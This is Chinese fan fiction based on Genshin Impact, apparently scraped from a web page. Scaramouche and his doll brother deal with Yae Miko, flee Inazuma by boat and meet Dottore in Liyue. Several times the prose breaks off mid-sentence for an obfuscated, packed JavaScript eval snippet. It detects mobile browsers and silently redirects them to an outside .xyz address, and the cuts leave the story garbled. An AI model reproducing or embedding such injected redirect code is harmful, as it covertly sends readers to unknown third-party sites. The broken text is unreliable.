桌上的茶水氤氲,淡淡的茶香萦绕在屋内,窗外樱花挂满枝头,很适合捧一本书卷坐下来静心阅读。 但不管是主人家还是客人,他们都没有这份闲心雅致。 “这次倒是很沉得住气嘛。”八重神子说。 百年前她第一次见到散兵时,小人偶拿着一枚金羽,冒雨爬上影向山,神色焦急地恳请自己支援踏鞴砂。在他到来之前,自己就已经听说他面见雷电将军未果之事。 然御影炉心的泄露事关重大,不做好充足的准备,就算支援队伍过去,魔神残渣也会将其吞噬殆尽。 但涉世不深的倾奇者却以为这不过是八重神子的搪塞之词,失望至极。于是决定返回踏鞴砂,亲自关掉御影炉心。 至于后续之事,八重神子并未听信一面之词,多方面打听也拼凑出了关停炉心的真相,心里对他有些好印象,于是也就并未处理也从借景之馆逃脱一事。 天高海阔任他去也未尝不可,但前提是他不对稻妻产生威胁。 也许是命运捉弄吧,谁又能想到几百年前的小人偶再次遇见时,就变成了愚人众的执行官了呢? 八重神子有些头疼的想到。 沧海桑田,物是人非,不外如此。 只是对长生种而言,样貌改变并不能作为成长依据,对他们而说,心境更能体现出一个人的成长。 散兵听出八重神子话中的弦外之音,不冷不热的刺回去:“八重宫司不用追忆过去,毕竟人要往前走。” 他已经不是踏鞴砂的倾奇者,身份地位的不同表明他这次的谈判不会一味的被动,谈不拢他依旧会选择自己动手,而且手段只会更狠。 “……往前走。”八重神子饶有兴趣地复述一遍:“既然如此,远离之人又何必重返故乡?” 散兵静默片刻,“为了救一个人。” “在这之前,我要问你。”八重神子冷笑一声质问道,“你可知此物是什么。” 她指尖轻敲木匣,这正是散兵送上的信物。 朴素的木匣中装着两人再也熟悉不过的事物,出自八重神子之手,又跟散兵相伴百年——月见里清也的核心。 散兵直视着她,不卑不亢道:“宫司所造之人,亦是我弟弟的生命依赖之物。” “弟弟?”八重神子皱眉,在她的记忆里,自己所创造的小人偶并无生命体征,然而她确实在不久前在稻妻城遇到了拿着鸣神大社信物的人。 起初她以为有人破坏了借景之馆的大门,盗走了里面价值连城的东西,转手倒卖才导致信物流落于民间。如果散兵所说属实,是不是存在一种可能,这信物是小人偶自己交出去的? 和雷电影给的金羽不同,她给的信物并不贵重,没有神社的纹样,当块工艺不错的玉卖出去也说得过去。思及至此,八重神子对散兵的说法信了几分,但仍有疑虑。 散兵不急不慢道:“时隔太久,我也无法详细地说出是如何唤醒他的,只能说与巴尔泽布就在我身上的神力有关;宫司眼线众多,当初踏鞴砂泄露事件后应该有听到过,‘我有一个弟弟’这种传言,那就是他。” “只是我当初求援并未带着他,宫司无缘相见。而如今路途太远,海上风浪太大,他不适合长途旅行,真是可惜。”散兵说着可惜,脸上却无半点遗憾。 如果想带,散兵有一万种理由向愚人众打申请,将月见里清也带来。他只是单纯不想让八重神子见而已。 八重神子冷哼一声,并不做评价。 虽然散兵话不中听,说的却是事实。八重神子自然知晓那些捕风捉影的消息,但散兵确实将他弟弟藏的很好,她见不到人,没有实证,自然不能轻易下定论。 散兵说:“他的后颈下方有一个刺青,一摩拉大小,是一朵由三重巴印演变的樱花。” 话音刚落,八重神子的疑云顿消。这个花纹是她独创,绝不存在仿制的可能性。 她开口:“你想让我帮你修复核心。” “是。”散兵回答的干脆,“或者给我原材料。” “你知道原材料是什么,神樱树是稻妻的重中之重,你想要我就给?”八重神子说。 散兵的视线落在窗外,从窗外樱枝缝隙看去,隐隐约约地看到那颗重中之重的神樱,而他对此势在必得:“所以你要单独谈话,不开口提提你的条件吗?” 要知道,以散兵现在的立场,想让他配合稻妻干点什么事简直是痴人说梦。但现在有个天赐的机会摆在这里,按理说八重神子不该犹豫。 可她深知对方身居愚人众高层,为至冬效力,散兵会仅仅因这点事情回稻妻吗? 自然不会。 政客和商人一样,都是无利不起早。 虽然答应合作,但依旧会留一手以备不时之需。对八重神子而言是这样,对散兵亦是。 散兵嘴角微勾,彼此心照不宣。 桌上的茶水微冷,八重神子拿起茶盏微抿一口才道:“不久前,一心传奉命根据古代图谱锻造御神刀,御神刀是要进贡给雷电将军的贡品,他们不会怠慢,必定会复刻出每个步骤。” 如果是寻常武器制作,精益求精自然不会有什么问题,坏就坏在这是一心传寻到的图谱。 魔神怨念凝结的晶化骨髓固然可以提高刀的精度,但魔神怨念也会在这时从晶化骨髓转移到刀身上,久而久之,持刀人也会被魔神怨念侵染。 早在四百年的稻妻,这种例子十分常见,散兵甚至是亲历者之一。 复刻那时候的刀谱,毫无疑问的,这把刀肯定裹满了魔神怨念。 从八重神子的表现来看,等这把刀呈至雷电将军面前,里面的魔神怨念势必会对一心净土里的巴尔泽布产生影响。 散兵了然:“你不想让御神刀制造出来。” “哎呀,准确的说,御神刀会因为一些‘意外’不能呈至雷电将军面前。”八重神子说。 比如被愚人众半路劫走。 这事对散兵来说并不难办,甚至与他的任务目标相同。 但就是因为与他的任务目标一致,这件事便不会如八重神子设想那般平和的解决。 至于后续之事,散兵并没有刻意隐瞒,月见里清也略有耳闻,散兵也就省去了那些细枝末节,尽量简洁的概括。 木匣被八重神子以研究修复为由扣留在神社,并未还给散兵。 相对的,散兵要求在计划不会出现问题时将核心归还给他,八重神子也应允了。 一开始,核心在八重神子之手,散兵行事自然没有那么张扬,没有轻易暴露自己此行的目的。 他写信告知八重神子,自己修改了御神刀的刀谱,不会锻造出充满魔神怨念的刀。关于这事,散兵并未说谎,但只说了一半。 他的确篡改了刀谱,一心传的刀匠也的确不会用晶化骨髓锻造御神刀,因为这把御神刀根本不会被造出来。 锻造的前期一切都很正常,散兵以此为由,向八重神子索要月见里清也的核心和神樱树树枝。 等他得手后,变故也由此发生。 按照图谱锻造的御神刀迟迟无法成型,就算有成品也远远达不到进贡的要求。 可锻刀的时限摆在那里,眼看截止日期将近,刀依旧没有锻好,上面问责下来,那些大人物或许可以免于责难,但这些他们刀匠下场可不好说。 这时散兵及时向他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029184|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们递上去往至冬的橄榄枝,没人会傻到抛弃活下去的希望。 最终,这件一百年前的雷电五传事件以刀匠叛逃至冬结束,往后百年时光里,稻妻锻刀业一蹶不振,刀匠们也不再使用危险技术锻刀。 从结果来看,这未尝不是一件好事。但对于八重神子甚至整个稻妻来说,散兵手段过于狠辣,这无疑是摆了八重神子一道,留下一地烂摊子扬长而去。 也正是因为如此,散兵才要求八重神子提前归还核心。 散兵嗓音温润,语速不疾不徐,但故事到这里戛然而止,月见里清也原本闭上的眼睛又睁开,见散兵没有继续讲下去的意思,轻轻眨了两下眼来表达自己的不满。 散兵伸手覆住他的双眼,“八重神子当然也不是等闲之辈,之前说过,我和她背地里都留了一手……” 等他回到至冬几周后,有一封没有署名的信件从稻妻漂洋过海来到他的办公桌上,散兵在稻妻无亲无友,最近唯一有过交集的就是八重神子,写封信是谁寄来的不言而喻。 就像他隐瞒了修改刀谱的真相,八重神子也隐瞒了核心损坏的真相。 她是制造者,核心有什么损坏她一眼就能看出,完全不需要再进行研究,之所以扣留几日,完全是为了方便动一些小手脚。 据信上所说,核心虽承担着“心脏”的作用,但终究与心脏不同。 作为身体脉络汇集之地的核心,拥有储存月见里清也这几百年来记忆的功能,所以核心受损必定会影响他的记忆。 只是影响多长时间的记忆,这就不得而知了,有可能是几小时,也有可能几天甚至几年。 且从核心的伤痕来看,比起魔物造成,更像人为。 信件到这里便没了下文,八重神子似乎并不打算多言。 但就是这寥寥数言,只要散兵看进去了,八重神子的目的就达到了。 因为她的目的本来就不是提醒散兵身边人有问题,只是为了混淆视线,掩盖好自己动的小手脚。 何况她与散兵一样,说的话确实是真话,但那只不过是为了掩盖自己的后续计划。 这也是散兵这次来了稻妻后才知道的,当初那张信纸上被动了小手脚,八重神子留了个小印记在他身上,只要他再次踏入稻妻,八重神子那边必定会受到反馈。这次稻妻之行他的一举一动都在八重神子的监视之下,好不憋屈。 至于月见里清也身上可动手脚的地方就更多了,他身上的神樱枝条与神樱树关联密切,八重神子在材料上随便动点手脚,散兵查都没法查,况且他一开始还别那封信转移了注意力。 现在想来,恐怕愚人众对稻妻有所行动之时,八重神子那边就已经提前得到了预警,并提前制定了方案,借着旅行者对愚人众的仇恨拉入自己阵营,甚至还想趁机打破稻妻的困局。 哪怕散兵没有修改刀谱导致刀匠畏罪潜逃,八重神子也不会收手,这是二人的立场问题,对立的状态下,的确不能要求你的对手手下留情。 所以散兵会说“谁也没讨到便宜”,但就月见里清也来看,他们也可以说是棋逢对手,总之你坑我一下,我摆你一道,扯平了。 “至于其他的你都知道,现在睡觉。”简单讲完这段故事的散兵语气里带着不容置喙的味道。 弥生柚云给他开的药里带着安眠的成分,月见里清也一开始听的昏昏欲睡,要不是到关键部分散兵停下,他也不强打着精神重新睁开眼。现在药劲重新涌上来,月见里清也昏沉的意识挣扎两下,想问散兵今夜在哪休息,但最后却是吐出几个支离破碎音节。 也不知散兵如何从这几个音节里听明白了他的意思,总之他给睡着的弟弟盖好被子说:“隔壁有空房间,睡吧。” 43.药材来源 正如弥生柚云所言,月见里清也底子好,按时吃药好好休息几天,身体康复地极快。 眼见身体一天比一天好,继续在弥生姐弟家这里住着显然不合适,于是在这一天清晨,二人收拾妥当,准备向两人辞行。 却不想走到书房面前时,姐弟二人的争吵声从中传来,月见里清也敲门的手顿住,不动声色地与散兵交换眼神。 这时候进去显然不合适。 他们都没有听人墙角的癖好,也不会管别人家事,权当做没听见一般,转身离去。 但老房子的隔音不好,尽管月见里清也努力忽略掉争吵声,还是不可避免的听见一句——“你知道在雷暴里穿行是一件多么危险的事吗!” 月见里清也抬手按住散兵的手腕,见散兵与自己一样皱紧眉头便知道他也听见了,不需要言语,他们不约而同的停下离去的脚步,竖起耳朵听着里面的动静。 稻妻锁国后,有不少人迫于生计或是因为受不了幕府的一条条法令,选择自己驾船穿过雷暴,偷渡出国。 但普通人无法应对雷暴里的危险,成功的人很少,往往都是有去无回。 这种事情在百姓身上很常见,而月见里清也想不通的是,弥生家怎么会跟偷渡扯上关系? 生活困难? 这不可能,从弥生长月那一代开始他们家就世代行医,现如今医馆都能开到稻妻城去,要知道医生这种职业只要挂上“世代”的名头,收费就不可能低,自然也不可能缺钱。 幕府颁发的眼狩令? 这就更是无稽之谈,自打一见面起,散兵就用元素力探查过,弥生柚云和弥生久秋都不是神之眼持有者。 察觉到月见里清也的眼神,散兵摇了摇头,对此,他暂时也没有什么头绪。 偷渡最主要的两个原因都不占,月见里清也还真是有些好奇。倒不是因为八卦,如果弥生姐弟确实需要偷渡出国,他们正巧知道穿越雷暴的路线,互惠互利未尝不可,前提是这姐弟二人偷渡要干的是正经事。 他们现在还是两个叛逃人员,不能自身麻烦事没解决又沾一身腥。 书房静默片刻后,弥生柚云的声音重新传出来,她似乎在刚才的沉默里冷静下来,声音不再激昂,“当然,我知道穿越雷暴是九死一生,但你也知道锁国后来自他国的物品涨价涨到什么样子,尤其是来自璃月的名贵药材。最初几个月还好,靠着弥生家家底可以硬撑着从那些药材商贩手里买,但现在不行了。” “物以稀为贵,库存越少价格更是涨成了天价,好多医馆已经不再用这些药配伍了。可是久秋,医馆不卖,病人的病又该怎么办?”弥生柚云道,“他们是我的病人,我没办法对他们说出‘对不起’三个字。” 弥生久秋道:“我虽然学艺不精,但从小我也是跟你一起学习的,我当然知道这些病人在你心里的重要性,也知道这些药是他们的救命药,我只是想跟着一块去而已!” “第一,家里因为购置那些药材已经出现亏空了,雇不起人手去采买那些药材。” “第二,我从小和你一起学医,你是知道我的,虽然看诊能力不行,但论认药、分辨品相你也要略逊我一筹。我去不仅能节省一大笔开支,还能买回品制最好的药。” 弥生久秋说的有理有据,驳得弥生柚云哑口无言,只能疲惫地揉揉额角,“那不一样。” 门外,听清前因后果的月见里清也眉尾一挑,压低声音道:“我觉得这是一个离开稻妻的好机会,你觉得呢?” 散兵则回给他一个“这还用说”的眼神。 至于怎么向他们提出这个意愿,这件事自然落到了月见里清也身上,凭着他和弥生家的渊源,由他提起可信度较高。 剩下的无非就是他们身份和这条路线的来源,编故事嘛,他最擅长了。 弥生家的主产业虽搬到稻妻城,原先的旧医馆倒也开着,书房其实也算是诊所,白天的时候还是会有病人过来看病。 眼见书房的二位暂时没有偃旗息鼓的意思,让病人瞧见医生吵架不是一件光彩的事,月见里清也故意清了清嗓子,敲响了门。 争吵声骤停,片刻后弥生久秋打开了房门。 “并非有意打断二位,只是……”月见里清也指了指在门厅站着的病人。 弥生久秋抹了把脸,将一肚子气都咽回去,转而面色如常的引着病人进入诊室。 看病问诊一时半会完不了事,这段时间让彼此都静一静也好,弥生久秋这样想着,没和往常一样去帮忙,转身回了自己屋里。 月见里清也在他身后与散兵对视一眼,悄悄跟上去。 就和弥生久秋自己说的那样,他不精通医学之道,本职工作更是跟学医八竿子打不着。 他跟着姐姐从稻妻城过来,原本是为了换个地方换换心情为下本书找些灵感,谁知道他姐背地后里还瞒着这么大一件事。 要不是自己偶然撞见忙着准备各项事宜的管家和偷渡用的船只,给弥生柚云拦了下来,现在说不定都要扬帆起航了。 稿纸上只写了短短几句话,是他给新书写的开头,剩下的其他地方还都是大片的空白,弥生久秋扫一眼纸上留下的只言片语,沉默良久也没有动笔的意思。 片刻后,他松开手里的笔,决定不再自己折磨自己写出这些狗屁不通的东西,心烦意乱的离开房间走到院子里,遇到了守株待兔的月见里清也。 当然月见里清也不能说自己是在这里专门候着他,好在弥生久秋也没心思去想为什么自己在短时间内撞上他两次。 听着弥生久秋的叹气声,月见里清也说:“不是有意听到你和你姐姐的吵架内容,只是如果你们想要偷渡出海,或许我和哥哥可以帮到你们。” 弥生久秋像是没反应过来,呆呆问道:“可是你们不也是稻妻本地人么?” 月见里清也摇头,三言两语给自己和散兵套了个假身份:“我们是冒险家,这些年一直在外国游历,最近才回稻妻的。” “其实雷暴并非毫无规律,总结出破解之法不难,况且雷暴环绕稻妻,总会有几处薄弱之处,多走几趟就能发现。” 月见里清也说着,弥生久秋眼底的光越来越亮。 假如有两位经验丰富,经常穿行于雷暴之间的“老手”随船,姐姐是不是就能同意自己跟着去了? 思及至此的弥生久秋恨不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月见里清也:“噗。” 不知道为什么,江湖骗子这个和散兵八竿子打不着的词,两者放在一起的时候有种莫名的喜感。 他清了清嗓子,撑着桌面看散兵在纸上写写画画,认出来这是他们来时穿越雷暴的航线图。 雷暴变化没有规律性,航线图也不是百分百准确,但有这个在手最起码看起来不像江湖骗子,真正规避雷暴的手段还放在月见里清也带回来的盒子里。 散兵吹干纸上的墨迹,等着月见里清也将东西拿出来。 盒子不大,里面装着一个巴掌大的球状物,外层用雷樱枝条紧紧包裹着,内层是一块浸染了雷元素的石头。 月见里清也在外边花了大半天,做了个简易版的若雷屏障。虽然雷暴是神迹,但散兵拥有同等的力量,穿行雷暴时只需要让他动用少部分力量展开屏障,就算被闪电击中,也可以抵消掉伤害。 而且若雷屏障的特性是展开后不会消失,雷樱枝条是打开屏障的唯一方式,一段时间内还会再次复原,这样也算给弥生久秋的返航提供了保障。 44.絵空事 隔天,月见里清也和散兵收到了弥生久秋的消息,登上偷渡的航船,从神无冢的小港口扬帆起航。 条件好的船舱有限,弥生久秋将二人安排在了同一间,“虽然空间小了点,住两个人有点挤。但这间的条件是整艘船最好的了,二位勉为其难将就一下?” 船上最好的房间让给他们俩,月见里清也和散兵自然不会挑剔,“麻烦你了。” 一旁的散兵对房间里的一排书架兴趣更大,弥生久秋解释道:“这上面大多放的是八重堂出品的轻小说,我之前会随船去他国采风,这些书都是我放在这里打发时间用的,有感兴趣的可以随便看。” 月见里清也闻言随手从书架上抽出一本包装精美的书,封皮上画着一只狐狸和一只猫,标准的童话书画风,最上面写着三个字:絵空事。 这是一本童话书会起的书名? 月见里清也在心里嘀咕着,本着不能断章取义的想法,翻开了第一页。 书籍的第一页写着:‘从前,在大陆的某个不知名森林里生活着一只小狐狸,没人知道他从何而来,他只记得自己要去拯救一个人。’ 这段文字的一旁,作者还精心的配上了插画。 月见里清也不死心的往后又翻了几页,都是文字加插画,以小狐狸为主角的童话故事。 散兵看着书上的插画,笑了一声道:“童心未泯。” 月见里清也:“……” 他猛地把书一合,躲到房间另一边的矮桌旁,远离他哥的视线。 就是躲的太急,书还拿在手里忘了放下。 放回去又未免太刻意,月见里清也只好硬着头皮继续往下看。 童话书篇幅不长,他花了十几分钟翻完一遍,看得一头雾水。 一般的童话故事故事情节都不会太复杂,为了照顾小朋友的童心,结局都是大团圆的美好结局,但这本《絵空事》的作者显然是想在儿童文学方面独树一帜。 故事里的主角狐狸踏上了拯救同伴的旅程,在过程中遇到了自己的好友小猫,共同开启一段冒险之旅。截止到这里,故事一切正常,中规中矩的绘本故事。 但临近结局,剧情开始急转直下,主角狐狸发现这一切不过是一个骗局,他要拯救的人最后都会死去,一次次的循环无法改变注定的结局。最后狐狸选择自尽,试图以抹杀自己的存在来改变下个循环的结局,却没想到下个循环开始,出现了一只同样的狐狸代替了原本的他。 故事在这里戛然而止,月见里清也看着最后一页的插画,突然感觉屋里有些阴冷。 这哪是童话绘本啊,分明是悬疑小说。 而且这故事很明显没讲完,月见里清也又溜达回书架前,想找一下这本书的下册,不过遗憾的是,直到船只驶进雷暴范围内,他都没能找到《絵空事》的其他卷册。 有了提前做的装置,这次穿越雷暴不像前一次那样狼狈,不过为了安全起见,他们还是让无关人员都回到自己的房间,等离开了雷暴的范围才让恢复活动。 越过雷暴才算真正离开了稻妻,按照这个航线继续行驶下去,船只最终会停靠在璃月港。 船只进港的这天,散兵和月见里清也来到弥生久秋房间里辞行,简单嘱咐完屏障装置的使用注意后,月见里清也看到桌上放着本《絵空事》,与他看的那本相比只是包装上略有不同,下意识问了一句。 “这本书只有一册。”弥生久秋想了想解释道:“作者好像真的想写童话故事,不过你也看了内容,就算配了插图,还是不适合小孩子看。” 月见里清也随口问道:“这作者原本是写悬疑的?” “不是,这是他投稿的第一本书。”弥生久秋摇摇头,“这本书一看就不能当童话,所以当时是个其他轻小说一起宣传的,反响还不错。不过作者坚定的认为自己写的就是童话,甚至自己掏钱出版了一本带插画的精装版,但不知为什么这本书只有一册,没有下文了。” 在两人说话间,散兵将这本书大体看完一遍,尽管弥生久秋房间里的这本没有插画,但童话稚拙天真的写作手法依旧无法和压抑的情节相融合。 在他与月见里清也年幼时,八重堂尚未创立,他们那时听的故事不过是一代代人传下来的,和现在的童话不能比。 但不论那种故事,都会向小孩子讲述一些道理,可这本《絵空事》什么都没讲,反而还提及了时间循环、自尽这种情节。 先不说孩子看不看得懂,作者是真的不怕小孩子模仿故事里的情节吗? 散兵把书放回原位,考虑到弥生久秋也是个小说作家,想了想还是不做评价了。 反倒是月见里清也开了口,“大概是作家的傲气吧。” 弥生久秋觉得这话有点道理,“但这都是好几年前的事了,八重堂近几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053419|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出版的书我都买过,这个作者名下好像只有这一本,当时还是委托中间人来投的稿。总之,很神秘。” 璃月风波结束,女士和公子先后回了至冬,月见里清也和散兵正好打了个时间差,商定行程时临时决定先在璃月稍作停留。 除了没有执行官这一原因外,选择在璃月短暂停留还有另一个缘故。月见里清也抬头看向对面的北国银行,正好瞅见一个衣着普通的人回过头,二人视线一触即分。 那人若无其事的收回自己的视线,而月见里清也则目送那人推开北国银行的大门,才慢慢地把视线收回,将注意力重新转移到茶亭的说书上。 一旁的散兵抱着胳膊看他,“自己的眼线还不放心?” 月见里清也端起茶杯喝了一口,语气轻松道:“别这么说,咱们都跑出来这么久了,愚人众肯定会有官方通告,谁知道我的暗线有没有被收买的。” 如果不放心月见里清也就不会用了。 散兵冷笑一声,“这话留着糊弄鬼去。” 月见里清也笑了,把手里的茶杯当做酒杯跟散兵面前的杯子轻磕一下,“怎么,哥哥是对这趟旅行有什么不满吗?” “如果你把形迹可疑之人监视都视为旅行的一部分的话。”散兵端起自己的杯子隔空回敬,“我没意见。” 话音刚落,散兵与月见里清也手上的晶石同时亮了一下,这是暗线发出的信号,他会将摩拉放在指定地点,不用当面交付。 但从北国银行大门出来的不止暗线一人。 月见里清也注意到悄咪咪跟在暗线后的两个身影,看出穿着应该是璃月本地人,但金发碧眼的长相是在和那身穿搭格格不入,换成愚人众制服就顺眼很多。 他派暗线去北国银行取自己放在私人账户里的存款,暗线前脚刚出银行,这两人后脚就来到这里。也就是说,早在至冬时,自己的个人账号就已经被监视了。 月见里清也笑容微收,意识到某些人即使表面上不与你交涉,背地里却是阴魂不散。 只有千日做贼,没有千日防贼的,他们不可能一直躲下去。既如此,还不如他们主动出击。 月见里清也伸个懒腰,冲散兵眨了眨眼,“好消息,咱们目前还没上愚人众的通缉名单,毕竟账户没被冻结。” “这算哪门子好消息。”散兵朝二人消失的方向一抬头,“走吧,先去会一会他们。” 45.不速之客 璃月的某客栈内,两个“入乡随俗”的外国男子在一间客房门前徘徊着。 “我们是不是应该先回去向上面汇报一下情况?” “可富人大人传下来的意思不是说,一但发现行踪就要监视着吗,万一咱两刚走人就跑了怎么办?” “但是咱们在这干看着算怎么回事啊,一会他们一开门,咱俩说啥?”男子抓了抓头发,“我报表还没写完呢,回去完了又要加班。” “那很抱歉了,我已经写完了。”同伴笑着怼了怼他,“别怕,万一撞见了你就跟他说句‘早上好’,大不了被当成傻子。反正你是第九席的人,一辈子很短一闭眼就过去了。” 同伴的宽慰起到引起了男子强烈抗议,月见里清也在他们打闹声中缓步走到二人背后,突然出声,“现在说早上好有点晚了,该说中午好了。” 二人身形陡然一僵,僵硬的回过头去,就见月见里清也正歪着头看他俩,仿佛在看街边耍猴的。在他身后的散兵一脸嫌弃地移开视线,直接越过他们打开客房门,将二人当成一团不存在的空气。 月见里清也跟在他后面进去,见二人还杵在门口,疑惑地回头:“等我请你们进来?” 二人这才如梦出醒,跟着进了屋,回想起刚才做的那些事,恨不得直接找地缝钻进去,但还是硬着头皮行礼,“散兵大人。” 散兵一听这称呼,眉尾一扬,与月见里清也交换眼神。随后迅速恢复正常,泰定自若的接受了这个称呼,“说吧,潘塔罗涅想找我做什么?” 二人只是北国银行的小员工,连第九席的正规军都算不上,上班上得好好的突然被经理扔出来跟踪别人,支支吾吾地说不出个所以然来。 散兵敲了敲桌子,有些不耐,“你们应该知道我耐心有限吧。” 在散兵的威压下,二人还是坚持自己的说辞,只知道从至冬来了道命令,其他一概不知。 散兵问:“什么样的命令?” 其中一人听到过经理和第九席士兵的对话,回想了一下,“只是说该账户的钱被取出的话,不管取钱的是谁,一定紧跟着他,直到找到第六席执行官和他的副官。” 月见里清也问道:“这命令是在第九席施行的,还是全体愚人众,又或者是女皇下达的最高命令‘苍星圣敕’。” 他也就这么随口一说,如果真的是苍星圣敕,就不会是现在这个局面了,可能他们刚从弥生久秋的船上下来,就被愚人众层层包围了。 “不不不。”另一个男子也知道苍星圣敕是什么,连忙否认道,“就是第九席内部的命令,口头传达下来的,都没有正式的公文。” 那看起来只是第九席的个人行动了。 “你们现在任务也完成了,走吧。”了解完情况的月见里清也开始赶人。 在二人转身离开时,散兵冷不丁开口,“回去告诉潘塔罗涅,我没时间陪你们玩这些幼稚的小把戏,多托雷要还惦记着他的计划,要么放弃,要么抓紧时间来见我。” 俩小员工自从来了璃月连自家大人面都没见过几次,一听到这话一会牵扯第六席一会又牵扯第二席,都不知道该怎么接话,夹着尾巴灰溜溜的跑了。 月见里清也关好房门,没忍住摇了摇头。 特意避开第八席和末席,又被第九席缠上,果然特瓦特大陆上最不缺的就是甜甜花、薄荷和愚人众。 第九席和他们几乎没有任何私交往来,但富人与博士的私交倒是不错,所以就如散兵刚刚说的那样,潘塔罗涅找上门背后绝对有博士的参与。 要是在百年前,月见里清也是绝对不会同意散兵与博士合作,甚至在察觉到第九席跟踪的那一刻就会选择拉着散兵跑路。而不是像现在这样,放第九席士兵离开去给对方报信。 因为他在心里清楚博士是怎样的为人,博士是绝对不会轻易地放弃散兵这个合作对象的,尤其是散兵拿到神之心后。 “以博士的实力来看,跟他合作未尝不可,但博士骨子里就是个疯子,谁也不能保证他会不会为了他的疯狂计划背后做点什么。”月见里清也说,“我不会反对你和他合作,但他这个人不得不防。” “如果没有必须和他合作的理由,我不会答应。”拥有神之心后,散兵的底气也更足,对昔日酒会上博士提出的条件更加瞧不上。 月见里清也当然知晓,“我只是阐述一下我的想法,当然,一切还是以你的意愿为主。” 不论散兵做出何种选择,月见里清也会尊重他的意愿。 虽然这么说,月见里清也打心底里还是不想见博士,巴不得对方不找上门来。 但天不遂人愿,月见里清也的运气一向不咋滴。 逃离愚人众的小半个月里,月见里清也心情还不错,但他今天的好心情在打开房门后瞬间消失的无影无踪。 月见里清也看着站在门外的薄荷色头发男子,脸色变得比翻书还快,他撑着门框,心里纠结到底要不要直接把门甩在这人脸上。 现在门外的博士似乎读不懂他的脸色,好整以暇地说:“不让进?” 是啊,所以能请你直接离开吗? 月见里清也腹诽着,收回撑着门框的手,侧身让他进去。 进门后还没等博士开口,散兵就打断了他,“寒暄就免了吧,直接说正事。” 博士没说什么,反而回头看向一旁的月见里清也。 月见里清也抱着手靠在墙边,挑了挑眉,他没打算回避,反而打量起博士今天的样貌。 看着年龄不大,比上次酒会时见到的那个年轻点,也就是说这次来是个“切片”,不是博士本体。 但不论来的是那个时期的博士,都不是个好相处的,他的意思很明显,是想让月见里清也回避。 月见里清也偏偏不遂他的意,站在原地没动,“不好意思,我有必要说明一下我现在不属于愚人众了,拿级别压我没有任何用处。” 散兵闻言笑出声,不急不慢地拉开身边的椅子,对着月见里清也说:“坐。” 月见里清也也不客气,大大方方一坐,这场两人秘密协商瞬间变成了三人会谈。 博士:“……” 抛去愚人众官职不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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博士认下了自己在丑角队伍里安插眼线的事,“只是一些小手段罢了,原本我可以不必借助潘塔罗涅的手,只可惜你弟弟的工作能力有些让人叹为观止。” “我姑且认为你是在夸我了。”月见里清也挑眉道,“但是说了这么多,最重要的问题你一直在避而不谈,我们为什么相信你呢,你难道背地后藏着点小私心?” “都到这一步了,没必要在这虚与委蛇。”散兵敲了敲桌子说,“你想拉我入伙,是为了你那疯狂的念头,还是为了我手里的雷神之心。” 他确实在意深渊入侵导致虚假之天崩溃,但博士拿月见里清也的安危来逼迫他加入,却也引起了他的怀疑。 为什么一定要让他加入? 或许从一开始,博士接到的任务就是拿回两枚神之心呢? 气氛一瞬间紧绷了起来,月见里清也紧盯着博士的一举一动,以防他突然发难。 出乎意料的,博士笑了一下说:“我接到的任务只有拿回草神之心而已,至于你们就是意外收获了。” 月见里清也说:“所以说,你只是想带回两颗神之心邀功而已。” “可是世界并不是非黑即白,斯卡拉姆齐,”博士说,“我们为什么不选择更好的解决方式。” “所谓更好的解决方式,就是跟你合作?”散兵冷笑一声,“我没看出好在哪里。” 博士没着急回话,意味深长地看了月见里清也一眼后才说:“须弥与世界树联系颇深,一切地脉汇集之地,如果情报无误,你甚至可以用它修改那些可悲的命运。” 46.两枚碎片 正午的阳光从窗外透进来,晒得人昏昏欲睡,以往的这个时候,月见里清也手上没有活的话,会选择找个地方窝着睡一觉,但现在他没有这份闲心。 他看着博士留下的东西,两张大概和通行证一个作用的证件,声称可以在须弥找到他的东西。 本以为谈话都到了这样的地步,他们不答应博士就会出手抢雷神之心,他都做好了大打出手的准备,但最后却什么都没发生。 博士说完那句话后就留下东西扬长而去,仿佛认定了他们会去须弥参加那场造神计划。 月见里清也看向散兵,见他正皱着眉头看那份证件,问道:“你相信他说的那些话吗?” “哪些?” “全部。” “我一个字都不信,”散兵不假思索的说,“他不可能只带草神之心回至冬,至冬女皇要收集七神之心,不会放任我将雷神之心占为己有。” “也就是说,目前我们没有被愚人众通缉的原因是因为女皇知道博士的计划,相信他能将两枚神之心都带回去。”月见里清也摊了摊手,“可我们不配合的话,就会迅速被通缉。” 散兵点点头,“有一点他说的对,‘意外比明天先到来’。” 如果他们选择不合作,就会面临被愚人众通缉的局面,到那时可能三天两头都没有一个安生日子,在这种环境下,散兵确实没有把握能比深渊更快。 与之相反,如果他们答应博士的合作,不光能减少麻烦,还能获得博士本人与全体教令院的技术支持。 